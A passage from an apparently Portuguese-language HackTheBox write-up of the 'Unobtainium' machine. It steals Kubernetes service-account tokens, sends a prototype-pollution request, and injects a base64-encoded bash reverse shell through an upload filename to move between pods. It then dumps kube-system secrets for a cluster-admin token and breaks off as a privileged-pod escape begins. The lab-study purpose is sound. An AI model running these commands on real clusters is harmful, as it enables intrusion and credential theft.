QZ5KSUQA

root@webapp-deployment-9546bc7cb-b7k2g:/usr/src/app# cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
-----BEGIN CERTIFICATE-----
MIIBeDCCAR2gAwIBAgIBADAKBggqhkjOPQQDAjAjMSEwHwYDVQQDDBhrM3Mtc2Vy
dmVyLWNhQDE2NjE3NjUxNzEwHhcNMjIwODI5MDkyNjExWhcNMzIwODI2MDkyNjEx
WjAjMSEwHwYDVQQDDBhrM3Mtc2VydmVyLWNhQDE2NjE3NjUxNzEwWTATBgcqhkjO
PQIBBggqhkjOPQMBBwNCAARjzR9cs7kiNtbkFyt2CQty/RYFvTlArJQCVkBoxrNW
XRd1BgLk7hMVDIIeVTdExixxUcRO8K+ui1rynvTNi3Zpo0IwQDAOBgNVHQ8BAf8E
BAMCAqQwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUZnhTV57wo97Gip3FwA+4
VcbrH1AwCgYIKoZIzj0EAwIDSQAwRgIhAPG7nTC3s9lHoILiY0+jdBWX4AASg9nf
tAKZYtmwgkcPAiEA9sH5WxACqcXbDWcYTFVqKi36PLl75fYwxmaiXe7dAyI=
-----END CERTIFICATE-----
```

Estes dois arquivos são suficientes para que consigamos nos comunicar com a api do kubernetes com as mesmas permissões que o pod possui.

Lembrando que a porta 8443 do nosso alvo esta exposta e é a kubeapi. Podemos salvar localmente esses dois arquivos (***ca.crt e token***) e utilizar para esta comunicação.
Outro arquivo importante, mas a caráter de informação, é o arquivo chamado namespace:

```bash
root@webapp-deployment-9546bc7cb-b7k2g:/usr/src/app# cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
default
```

No kubernetes podemos criar namespaces, que é uma separação lógica, um mecanismo para isolar grupos de recursos. Com isso podemos ter namespaces variadas, como developer, production e etc. Em cada namespace podemos criar pods, services, deployments e entre outros recursos do kubernetes.
No caso do arquivo ***namespace*** que visualizamos acima, ele indica que o pod em que estamos esta na namespace ***default***, que como o nome informa é a namespace ***default*** do kubernetes.

O próximo passo que iremos realizar é utilizar o ***kubectl*** para interagir com a ***kubeapi*** do nosso alvo.
O kubectl é um client para comunicação com o ***kubeapi*** do kubernetes.

Vamos listar as permissões que o pod possui através do seguinte comando localmente atraés do kubectl:
```bash
┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/kubernetes]
└─# kubectl auth can-i --list  --token `cat ./token` -s https://10.129.136.226:8443 --certificate-authority ./ca.crt
Resources                                       Non-Resource URLs                     Resource Names   Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
namespaces                                      []                                    []               [get list]
                                                [/.well-known/openid-configuration]   []               [get]
                                                [/api/*]                              []               [get]
                                                [/api]                                []               [get]
                                                [/apis/*]                             []               [get]
                                                [/apis]                               []               [get]
                                                [/healthz]                            []               [get]
                                                [/healthz]                            []               [get]
                                                [/livez]                              []               [get]
                                                [/livez]                              []               [get]
                                                [/openapi/*]                          []               [get]
                                                [/openapi]                            []               [get]
                                                [/openid/v1/jwks]                     []               [get]
                                                [/readyz]                             []               [get]
                                                [/readyz]                             []               [get]
                                                [/version/]                           []               [get]
                                                [/version/]                           []               [get]
                                                [/version]                            []               [get]
                                                [/version]                            []               [get]
```

No kubernetes você pode criar um usuário ou serviceaccounts, este último utilizado pelos próprios recursos do kubernetes para acessar ou restringir acesso a outros recursos. Tanto o usuário ou serviceaccount precisa ter um conjunto de permissões (RBAC) que são setadas nas ***Roles*** e atribuidas a eles nas ***Rolebindings***, isso a nível de namespace pois é possível setar a nível de cluster com ***ClusterRoles*** e ***ClusterRoleBinding***. Mas isso não iremos nos aprofundar pelo fato de não ocorrer interação com tais funcionalidades. 

O kubernetes possui regras de acesso, onde existem ***recursos*** e ***verbos***. Os recursos são namespaces, pods, services e demais recursos que o kubernetes provém. Já os verbos são ações que os detentores do acesso podem executar.
O retorno de nosso último comando executa uma checagem de permissionamento que temos, nos mostrando quais ***verbs*** temos sobre determinados ***resources***.

E podemos listar namespaces:

```
┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/kubernetes]
└─# kubectl get ns --token `cat ./token` -s https://10.129.136.226:8443 --certificate-authority ./ca.crt
NAME              STATUS   AGE
default           Active   448d
kube-system       Active   448d
kube-public       Active   448d
kube-node-lease   Active   448d
dev               Active   448d
```

Aqui podemos ver as namespaces que este cluster kubernetes possui. Temos a ***default*** onde nosso pod esta rodando e temos a ***dev*** que é uma namespace criada, pois todas as outras que contém ***kube-...*** são padrões do kubernetes.
Vamos visualizar as permissões que temos na namespace ***dev***:

```bash
┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/kubernetes]
└─# kubectl auth can-i --list -n dev --token `cat ./token` -s https://10.129.136.226:8443 --certificate-authority ./ca.crt
Resources                                       Non-Resource URLs                     Resource Names   Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
namespaces                                      []                                    []               [get list]
pods                                            []                                    []               [get list]
                                                [/.well-known/openid-configuration]   []               [get]
                                                [/api/*]                              []               [get]
                                                [/api]                                []               [get]
                                                [/apis/*]                             []               [get]
                                                [/apis]                               []               [get]
                                                [/healthz]                            []               [get]
                                                [/healthz]                            []               [get]
                                                [/livez]                              []               [get]
                                                [/livez]                              []               [get]
                                                [/openapi/*]                          []               [get]
                                                [/openapi]                            []               [get]
                                                [/openid/v1/jwks]                     []               [get]
                                                [/readyz]                             []               [get]
                                                [/readyz]                             []               [get]
                                                [/version/]                           []               [get]
                                                [/version/]                           []               [get]
                                                [/version]                            []               [get]
                                                [/version]                            []               [get]
```

O verbo ***GET*** é referente ao comando get que executamos, que lista os recursos que desejamos. E nessa namespace podemos listar os pods rodando:

```bash
┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/kubernetes]
└─# kubectl get po -n dev --token `cat ./token` -s https://10.129.136.226:8443 --certificate-authority ./ca.crt
NAME                                  READY   STATUS             RESTARTS      AGE
devnode-deployment-776dbcf7d6-g4659   1/1     Running            6 (24d ago)   448d
devnode-deployment-776dbcf7d6-sr6vj   1/1     Running            6 (24d ago)   448d
devnode-deployment-776dbcf7d6-7gjgf   1/1     Running            6 (24d ago)   448d
```

Já o verbo ***LIST*** informa que podemos descrever o conteúdo de determinado recurso, como um pod, por exemplo. Com isso conseguimos informações sobre o pod, como endereço ip, imagem, quantidade e nome do container, portas abertas, volumes e etc.

E aqui que encontramos algo interessante:

```bash
┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/kubernetes]
└─# kubectl describe po devnode-deployment-776dbcf7d6-g4659 -n dev --token `cat ./token` -s https://10.129.136.226:8443 --certificate-authority ./ca.crt
Name:         devnode-deployment-776dbcf7d6-g4659
Namespace:    dev
...
...
    Mounts:
      /root/ from user-flag (rw)
      /var/run/secrets/kubernetes.io/serviceaccount from kube-api-access-ww6h2 (ro)
...
...
Volumes:
  user-flag:
    Type:          HostPath (bare host directory volume)
    Path:          /opt/user/
    HostPathType:
...
```

A saída do comando acima irá exibir todas as informações sobre o pod, no entanto o que nos chama atenção é o volume do mesmo. Acontece que no diretório /root do pod foi montado o path /opt/user. E se a gente visualizar o conteúdo do diretório /root do pod que temos acesso:

```bash
(remote) root@webapp-deployment-9546bc7cb-b7k2g:/opt# ls -alh /root/
total 12K
drwxr-xr-x 2 root root 4.0K Aug 29  2022 .
drwxr-xr-x 1 root root 4.0K Nov 19 22:25 ..
-rw-r--r-- 2 root root   33 Nov 19 22:26 user.txt
(remote) root@webapp-deployment-9546bc7cb-b7k2g:/opt# cat /root/user.txt
eeeca1b96472d17a455e688bf5c9c8da
```

Conseguimos encontrar a user flag!

Agora temos a user flag e acesso ao kubeapi do kubernetes. Como estamos no pod ***webapp-deployment-9546bc7cb-b7k2g*** na namespace ***default*** podemos tentar uma movimentação lateral para os pods rodando na namespace ***dev***.

Para isso vamos observar alguns detalhes que conseguimos com o ***describe***. Podemos notar que esta rodando a mesma aplicação pois a configuração é similar ao pod que temos shell.
Podemos replicar a técnica que utilizamos para ganhar nosso primeiro shell só que agora de um pod para outro.

Primeiro buscamos o endereço ip do nosso novo alvo:
```bash
┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/kubernetes]
└─# kubectl describe po devnode-deployment-776dbcf7d6-g4659 -n dev --token `cat ./token` -s https://10.129.136.226:8443 --certificate-authority ./ca.crt | grep -i ip
IP:           10.42.0.63
```

Como estamos dentro de um container não será possível utilizar nossos scripts. Nesse caso vamos utilizar o comando curl, presente no container.

Para isso vamos precisar abrir outro reverse shell em nosso alvo, pois os próximos passos precisarão.
Primeiramente iremos utilizar o prototype pollution para habilitar o upload para nosso usuário no pod da namespace dev:  

```bash
root@webapp-deployment-9546bc7cb-b7k2g:/usr/src/app# curl -H 'Content-Type: application/json' -XPUT http://10.42.0.63:3000 -d '{ "auth": {"name": "felamos", "password": "Winter2021"}, "message": {"text":"something", "__proto__": { "canUpload": true}}}'
{"ok":true}
```

Podemos utilizar o mesmo payload, somente precisar utilizar o ip do nosso container:

***bash -i >&/dev/tcp/10.42.0.71/9002 0>&1***

Aqui iremos precisaremos do segundo reverse shell, onde iremos enviar o binário do netcat para nosso shell.
Com o binário do netcat no servidor alvo iremos executar o mesmo em uma aba:

```bash
root@webapp-deployment-9546bc7cb-b7k2g:/usr/src/app# ./nc64 -nlvp 9002
listening on [any] 9002 ...
```

Estamos prontos para executar nosso payload:

```bash
(remote) root@webapp-deployment-9546bc7cb-b7k2g:/usr/src/app# curl -H 'Content-Type: application/json' -XPOST http://10.42.0.63:3000/upload --data '{ "auth": {"name": "felamos", "password": "Winter2021"}, "filename":"| echo YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjQyLjAuNzEvOTAwMiAwPiYx | base64 -d |bash #"}'
{"ok":true,"Uploaded_File":"| echo YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjQyLjAuNzEvOTAwMiAwPiYx | base64 -d |bash #"}
```

Com isso conseguimos shell no pod alvo na namespace dev!

```bash
 root@webapp-deployment-9546bc7cb-b7k2g:/usr/src/app# ./nc64 -nlvp 9002
listening on [any] 9002 ...
connect to [10.42.0.71] from (UNKNOWN) [10.42.0.63] 37974
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@devnode-deployment-776dbcf7d6-g4659:/usr/src/app#
```
Uma vez que estamos dentro de um novo pod iremos realizar o mesmo procedimento para buscar o ***ca.crt*** e ***token*** para acesso ao kubeapi. Neste pod estes arquivos estão em outro diretório:

```bash
/var/run/secrets/kubernetes.io/serviceaccount# ls -lah
ls -lah
total 4.0K
drwxrwxrwt 3 root root  140 Nov 20 23:33 .
drwxr-xr-x 3 root root 4.0K Nov 19 22:25 ..
drwxr-xr-x 2 root root  100 Nov 20 23:33 ..2023_11_20_23_33_05.040072354
lrwxrwxrwx 1 root root   31 Nov 20 23:33 ..data -> ..2023_11_20_23_33_05.040072354
lrwxrwxrwx 1 root root   13 Nov 19 22:25 ca.crt -> ..data/ca.crt
lrwxrwxrwx 1 root root   16 Nov 19 22:25 namespace -> ..data/namespace
lrwxrwxrwx 1 root root   12 Nov 19 22:25 token -> ..data/token
<659:/var/run/secrets/kubernetes.io/serviceaccount# cat ca.crt
cat ca.crt
-----BEGIN CERTIFICATE-----
MIIBeDCCAR2gAwIBAgIBADAKBggqhkjOPQQDAjAjMSEwHwYDVQQDDBhrM3Mtc2Vy
dmVyLWNhQDE2NjE3NjUxNzEwHhcNMjIwODI5MDkyNjExWhcNMzIwODI2MDkyNjEx
WjAjMSEwHwYDVQQDDBhrM3Mtc2VydmVyLWNhQDE2NjE3NjUxNzEwWTATBgcqhkjO
PQIBBggqhkjOPQMBBwNCAARjzR9cs7kiNtbkFyt2CQty/RYFvTlArJQCVkBoxrNW
XRd1BgLk7hMVDIIeVTdExixxUcRO8K+ui1rynvTNi3Zpo0IwQDAOBgNVHQ8BAf8E
BAMCAqQwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUZnhTV57wo97Gip3FwA+4
VcbrH1AwCgYIKoZIzj0EAwIDSQAwRgIhAPG7nTC3s9lHoILiY0+jdBWX4AASg9nf
tAKZYtmwgkcPAiEA9sH5WxACqcXbDWcYTFVqKi36PLl75fYwxmaiXe7dAyI=
-----END CERTIFICATE-----
<659:/var/run/secrets/kubernetes.io/serviceaccount# cat token
cat token
eyJhbGciOiJSUzI1NiIsImtpZCI6InRqSFZ0OThnZENVcDh4SXltTGhfU0hEX3A2UXBhMG03X2pxUVYtMHlrY2cifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxNzMyMDU5MTg1LCJpYXQiOjE3MDA1MjMxODUsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZXYiLCJwb2QiOnsibmFtZSI6ImRldm5vZGUtZGVwbG95bWVudC03NzZkYmNmN2Q2LWc0NjU5IiwidWlkIjoiMWEzZjIyZGMtNTJlYS00MmYwLWEyMjMtOWFlZmU2YWJmYmVmIn0sInNlcnZpY2VhY2NvdW50Ijp7Im5hbWUiOiJkZWZhdWx0IiwidWlkIjoiMjk1NzViZmMtMTlkYi00MTBkLWJmZmYtZWQ1OGVjMWY0NzUzIn0sIndhcm5hZnRlciI6MTcwMDUyNjc5Mn0sIm5iZiI6MTcwMDUyMzE4NSwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmRldjpkZWZhdWx0In0.exHbqP0rELvnzHnM5J-t-epWWN0wpsNo3-xSg0fhL8ijhR7aOIg9xMgC4gp3KYsdquBozdlf3YBgpWbebxR3huTNqmiVp4Ov3tiC_sa_U-T_t6hAVU9SQPPHjba7ncAySki4PMMacpNdB4cahf3Yw9LyoPvCdLEEOrZMU93LKiFPA4pMl0Fj_yhbPkRSI7AXiZzZHKLW83acwccKwgsUuHznKxjQf2do91jMVUJ2rcNuBaEK2HIz1kfXr3WN6Ys_q5g_MGfaHnCkgBENZCXW09pgJ4Kk-3Yr6b9jlds8_YCyAVxDdiop32R8Wr7JXpRgENUKQSBdppHxItAtOOizOQ:
```

Seguindo o procedimento iremos visualizar localmente quais permissões conseguimos obter:

```
┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/kubernetes]
└─# kubectl auth can-i -n kube-system --list --token `cat ./dev-token` -s https://10.129.136.226:8443 --certificate-authority ./dev-ca.crt
Resources                                       Non-Resource URLs                     Resource Names   Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
secrets                                         []                                    []               [get list]
                                                [/.well-known/openid-configuration]   []               [get]
                                                [/api/*]                              []               [get]
                                                [/api]                                []               [get]
                                                [/apis/*]                             []               [get]
                                                [/apis]                               []               [get]
                                                [/healthz]                            []               [get]
                                                [/healthz]                            []               [get]
                                                [/livez]                              []               [get]
                                                [/livez]                              []               [get]
                                                [/openapi/*]                          []               [get]
                                                [/openapi]                            []               [get]
                                                [/openid/v1/jwks]                     []               [get]
                                                [/readyz]                             []               [get]
                                                [/readyz]                             []               [get]
                                                [/version/]                           []               [get]
                                                [/version/]                           []               [get]
                                                [/version]                            []               [get]
                                                [/version]                            []               [get]
```

Com as novas permissões conseguimos visualizar ***secrets***, que é um objeto do kubernetes utilizado para armazenar valores, certificados e outros dados sensíveis.
Neste momento iremos verificar em todas as namespaces disponíveis.

E analisando os secrets da namespace ***kube-system*** (namespace responsável por guardar recursos e objetos para o funcionamento do próprio kubernetes) encontramos dentre os secrets o seguinte:

```bash
┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/kubernetes]
└─# kubectl get secrets -n kube-system --token `cat ./dev-token` -s https://10.129.136.226:8443 --certificate-authority ./dev-ca.crt
NAME                                                 TYPE                                  DATA   AGE
...
c-admin-token-b47f7                                  kubernetes.io/service-account-token   3      448d
...
```

Utilizando o ***GET*** conseguimos visualizar seu conteúdo com a saída em yaml:

```
┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/kubernetes]
└─# kubectl get secrets c-admin-token-b47f7 -n kube-system -oyaml --token `cat ./dev-token` -s https://10.129.136.226:8443 --certificate-authority ./dev-ca.crt
apiVersion: v1
data:
  ca.crt: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUJlRENDQVIyZ0F3SUJBZ0lCQURBS0JnZ3Foa2pPUFFRREFqQWpNU0V3SHdZRFZRUUREQmhyTTNNdGMyVnkKZG1WeUxXTmhRREUyTmpFM05qVXhOekV3SGhjTk1qSXdPREk1TURreU5qRXhXaGNOTXpJd09ESTJNRGt5TmpFeApXakFqTVNFd0h3WURWUVFEREJock0zTXRjMlZ5ZG1WeUxXTmhRREUyTmpFM05qVXhOekV3V1RBVEJnY3Foa2pPClBRSUJCZ2dxaGtqT1BRTUJCd05DQUFSanpSOWNzN2tpTnRia0Z5dDJDUXR5L1JZRnZUbEFySlFDVmtCb3hyTlcKWFJkMUJnTGs3aE1WRElJZVZUZEV4aXh4VWNSTzhLK3VpMXJ5bnZUTmkzWnBvMEl3UURBT0JnTlZIUThCQWY4RQpCQU1DQXFRd0R3WURWUjBUQVFIL0JBVXdBd0VCL3pBZEJnTlZIUTRFRmdRVVpuaFRWNTd3bzk3R2lwM0Z3QSs0ClZjYnJIMUF3Q2dZSUtvWkl6ajBFQXdJRFNRQXdSZ0loQVBHN25UQzNzOWxIb0lMaVkwK2pkQldYNEFBU2c5bmYKdEFLWll0bXdna2NQQWlFQTlzSDVXeEFDcWNYYkRXY1lURlZxS2kzNlBMbDc1Zll3eG1haVhlN2RBeUk9Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K
  namespace: a3ViZS1zeXN0ZW0=
  token: ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWkNJNkluUnFTRlowT1RoblpFTlZjRGg0U1hsdFRHaGZVMGhFWDNBMlVYQmhNRzAzWDJweFVWWXRNSGxyWTJjaWZRLmV5SnBjM01pT2lKcmRXSmxjbTVsZEdWekwzTmxjblpwWTJWaFkyTnZkVzUwSWl3aWEzVmlaWEp1WlhSbGN5NXBieTl6WlhKMmFXTmxZV05qYjNWdWRDOXVZVzFsYzNCaFkyVWlPaUpyZFdKbExYTjVjM1JsYlNJc0ltdDFZbVZ5Ym1WMFpYTXVhVzh2YzJWeWRtbGpaV0ZqWTI5MWJuUXZjMlZqY21WMExtNWhiV1VpT2lKakxXRmtiV2x1TFhSdmEyVnVMV0kwTjJZM0lpd2lhM1ZpWlhKdVpYUmxjeTVwYnk5elpYSjJhV05sWVdOamIzVnVkQzl6WlhKMmFXTmxMV0ZqWTI5MWJuUXVibUZ0WlNJNkltTXRZV1J0YVc0aUxDSnJkV0psY201bGRHVnpMbWx2TDNObGNuWnBZMlZoWTJOdmRXNTBMM05sY25acFkyVXRZV05qYjNWdWRDNTFhV1FpT2lJek1UYzNPR1F4TnkwNU1EaGtMVFJsWXpNdE9UQTFPQzB4WlRVeU16RTRNR0l4TkdNaUxDSnpkV0lpT2lKemVYTjBaVzA2YzJWeWRtbGpaV0ZqWTI5MWJuUTZhM1ZpWlMxemVYTjBaVzA2WXkxaFpHMXBiaUo5LmZrYV9VVWNlSUpBbzN4bUZsOFJYbmNXRXNaQzNXVVJPdzV4NmRtZ1FoXzgxZWFtMXh5eHFfaWxJejZDajZIN3Y1QmpjZ0lpd3NXVTl1MTN2ZVk2ZEZFck9zZjFJMTBuQURxWkQ2NlZRMjRJNlRMcUZhc1RwblJIR19leldLOFV1WHJaY0hCdTRIcmloNExBYTJycE9SbTh4UkF1TlZFbWliWU5HaGpfUE5lWjZFV1FKdzduODdsaXIybFljcUdFWTExa1hCUlNpbFJVMWdOaFdibktvS1JlR19PVGhpUzVjQ28yZHM4S0RYNkJad3hFcGZXNEE3ZktDLVNkTFlRcTZfaTJFemtWb0JnOFZrMk1sY0doTi0wX3VlcnI2clBiU2k5ZmFRTm9LT1pCWVlmVkhHR00zUURDQWszRHUtWXRCeWxvQkNmVHc4WHlsRzlFdVRndGdaQQ==
kind: Secret
metadata:
  annotations:
    kubernetes.io/service-account.name: c-admin
    kubernetes.io/service-account.uid: 31778d17-908d-4ec3-9058-1e523180b14c
  creationTimestamp: "2022-08-29T09:32:33Z"
  managedFields:
  - apiVersion: v1
    fieldsType: FieldsV1
    fieldsV1:
      f:data:
        .: {}
        f:ca.crt: {}
        f:namespace: {}
        f:token: {}
      f:metadata:
        f:annotations:
          .: {}
          f:kubernetes.io/service-account.name: {}
          f:kubernetes.io/service-account.uid: {}
      f:type: {}
    manager: k3s
    operation: Update
    time: "2022-08-29T09:32:33Z"
  name: c-admin-token-b47f7
  namespace: kube-system
  resourceVersion: "707"
  uid: 7778ef55-db34-406d-b256-1704ec78236e
type: kubernetes.io/service-account-token
```


Convertendo de base64 os valores ascii podemos confirmar que se trata de um ***ca.crt*** e ***token*** armazenados em base64, formato que os secrets são disponibilizados no kubernetes.

```
┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/kubernetes]
└─# echo -n 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUJlRENDQVIyZ0F3SUJBZ0lCQURBS0JnZ3Foa2pPUFFRREFqQWpNU0V3SHdZRFZRUUREQmhyTTNNdGMyVnkKZG1WeUxXTmhRREUyTmpFM05qVXhOekV3SGhjTk1qSXdPREk1TURreU5qRXhXaGNOTXpJd09ESTJNRGt5TmpFeApXakFqTVNFd0h3WURWUVFEREJock0zTXRjMlZ5ZG1WeUxXTmhRREUyTmpFM05qVXhOekV3V1RBVEJnY3Foa2pPClBRSUJCZ2dxaGtqT1BRTUJCd05DQUFSanpSOWNzN2tpTnRia0Z5dDJDUXR5L1JZRnZUbEFySlFDVmtCb3hyTlcKWFJkMUJnTGs3aE1WRElJZVZUZEV4aXh4VWNSTzhLK3VpMXJ5bnZUTmkzWnBvMEl3UURBT0JnTlZIUThCQWY4RQpCQU1DQXFRd0R3WURWUjBUQVFIL0JBVXdBd0VCL3pBZEJnTlZIUTRFRmdRVVpuaFRWNTd3bzk3R2lwM0Z3QSs0ClZjYnJIMUF3Q2dZSUtvWkl6ajBFQXdJRFNRQXdSZ0loQVBHN25UQzNzOWxIb0lMaVkwK2pkQldYNEFBU2c5bmYKdEFLWll0bXdna2NQQWlFQTlzSDVXeEFDcWNYYkRXY1lURlZxS2kzNlBMbDc1Zll3eG1haVhlN2RBeUk9Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K' | base64 -d
-----BEGIN CERTIFICATE-----
MIIBeDCCAR2gAwIBAgIBADAKBggqhkjOPQQDAjAjMSEwHwYDVQQDDBhrM3Mtc2Vy
dmVyLWNhQDE2NjE3NjUxNzEwHhcNMjIwODI5MDkyNjExWhcNMzIwODI2MDkyNjEx
WjAjMSEwHwYDVQQDDBhrM3Mtc2VydmVyLWNhQDE2NjE3NjUxNzEwWTATBgcqhkjO
PQIBBggqhkjOPQMBBwNCAARjzR9cs7kiNtbkFyt2CQty/RYFvTlArJQCVkBoxrNW
XRd1BgLk7hMVDIIeVTdExixxUcRO8K+ui1rynvTNi3Zpo0IwQDAOBgNVHQ8BAf8E
BAMCAqQwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUZnhTV57wo97Gip3FwA+4
VcbrH1AwCgYIKoZIzj0EAwIDSQAwRgIhAPG7nTC3s9lHoILiY0+jdBWX4AASg9nf
tAKZYtmwgkcPAiEA9sH5WxACqcXbDWcYTFVqKi36PLl75fYwxmaiXe7dAyI=
-----END CERTIFICATE-----

┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/kubernetes]
└─# echo -n 'ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWkNJNkluUnFTRlowT1RoblpFTlZjRGg0U1hsdFRHaGZVMGhFWDNBMlVYQmhNRzAzWDJweFVWWXRNSGxyWTJjaWZRLmV5SnBjM01pT2lKcmRXSmxjbTVsZEdWekwzTmxjblpwWTJWaFkyTnZkVzUwSWl3aWEzVmlaWEp1WlhSbGN5NXBieTl6WlhKMmFXTmxZV05qYjNWdWRDOXVZVzFsYzNCaFkyVWlPaUpyZFdKbExYTjVjM1JsYlNJc0ltdDFZbVZ5Ym1WMFpYTXVhVzh2YzJWeWRtbGpaV0ZqWTI5MWJuUXZjMlZqY21WMExtNWhiV1VpT2lKakxXRmtiV2x1TFhSdmEyVnVMV0kwTjJZM0lpd2lhM1ZpWlhKdVpYUmxjeTVwYnk5elpYSjJhV05sWVdOamIzVnVkQzl6WlhKMmFXTmxMV0ZqWTI5MWJuUXVibUZ0WlNJNkltTXRZV1J0YVc0aUxDSnJkV0psY201bGRHVnpMbWx2TDNObGNuWnBZMlZoWTJOdmRXNTBMM05sY25acFkyVXRZV05qYjNWdWRDNTFhV1FpT2lJek1UYzNPR1F4TnkwNU1EaGtMVFJsWXpNdE9UQTFPQzB4WlRVeU16RTRNR0l4TkdNaUxDSnpkV0lpT2lKemVYTjBaVzA2YzJWeWRtbGpaV0ZqWTI5MWJuUTZhM1ZpWlMxemVYTjBaVzA2WXkxaFpHMXBiaUo5LmZrYV9VVWNlSUpBbzN4bUZsOFJYbmNXRXNaQzNXVVJPdzV4NmRtZ1FoXzgxZWFtMXh5eHFfaWxJejZDajZIN3Y1QmpjZ0lpd3NXVTl1MTN2ZVk2ZEZFck9zZjFJMTBuQURxWkQ2NlZRMjRJNlRMcUZhc1RwblJIR19leldLOFV1WHJaY0hCdTRIcmloNExBYTJycE9SbTh4UkF1TlZFbWliWU5HaGpfUE5lWjZFV1FKdzduODdsaXIybFljcUdFWTExa1hCUlNpbFJVMWdOaFdibktvS1JlR19PVGhpUzVjQ28yZHM4S0RYNkJad3hFcGZXNEE3ZktDLVNkTFlRcTZfaTJFemtWb0JnOFZrMk1sY0doTi0wX3VlcnI2clBiU2k5ZmFRTm9LT1pCWVlmVkhHR00zUURDQWszRHUtWXRCeWxvQkNmVHc4WHlsRzlFdVRndGdaQQ==' | base64 -d
eyJhbGciOiJSUzI1NiIsImtpZCI6InRqSFZ0OThnZENVcDh4SXltTGhfU0hEX3A2UXBhMG03X2pxUVYtMHlrY2cifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLWI0N2Y3Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIzMTc3OGQxNy05MDhkLTRlYzMtOTA1OC0xZTUyMzE4MGIxNGMiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.fka_UUceIJAo3xmFl8RXncWEsZC3WUROw5x6dmgQh_81eam1xyxq_ilIz6Cj6H7v5BjcgIiwsWU9u13veY6dFErOsf1I10nADqZD66VQ24I6TLqFasTpnRHG_ezWK8UuXrZcHBu4Hrih4LAa2rpORm8xRAuNVEmibYNGhj_PNeZ6EWQJw7n87lir2lYcqGEY11kXBRSilRU1gNhWbnKoKReG_OThiS5cCo2ds8KDX6BZwxEpfW4A7fKC-SdLYQq6_i2EzkVoBg8Vk2MlcGhN-0_uerr6rPbSi9faQNoKOZBYYfVHGGM3QDCAk3Du-YtByloBCfTw8XylG9EuTgtgZA
```

Salvando localmente podemos utilizar para ver quais permissões conseguimos ter com este novo acesso.

```bash
┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/kubernetes]
└─# kubectl auth can-i -n dev --list --token `cat ./admin-token` -s https://10.129.136.226:8443 --certificate-authority ./admin-ca.crt
Resources                                       Non-Resource URLs                     Resource Names   Verbs
*.*                                             []                                    []               [*]
                                                [*]                                   []               [*]
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
                                                [/.well-known/openid-configuration]   []               [get]
                                                [/api/*]                              []               [get]
                                                [/api]                                []               [get]
                                                [/apis/*]                             []               [get]
                                                [/apis]                               []               [get]
                                                [/healthz]                            []               [get]
                                                [/healthz]                            []               [get]
                                                [/livez]                              []               [get]
                                                [/livez]                              []               [get]
                                                [/openapi/*]                          []               [get]
                                                [/openapi]                            []               [get]
                                                [/openid/v1/jwks]                     []               [get]
                                                [/readyz]                             []               [get]
                                                [/readyz]                             []               [get]
                                                [/version/]                           []               [get]
                                                [/version/]                           []               [get]
                                                [/version]                            []               [get]
                                                [/version]                            []               [get]
```

O nome do secret era sugestivo, o output acima informa que somos ***cluster-admin***, ou seja, conseguimos acesso como administrador do kubernetes.

### Container Escape e root flag!

E agora, cade a root flag?
Nesse caso precisamos realizar um container escape e acessar o node onde esta rodando o kubernetes.

Este procedimento é muito simples uma vez que somos cluster-admin, precisamos criar um pod privilegiado e montar o seu volume no diretório ***/*** do node. Para isso vamos utilizar o yaml abaixo:

```yaml
apiVersion: v1
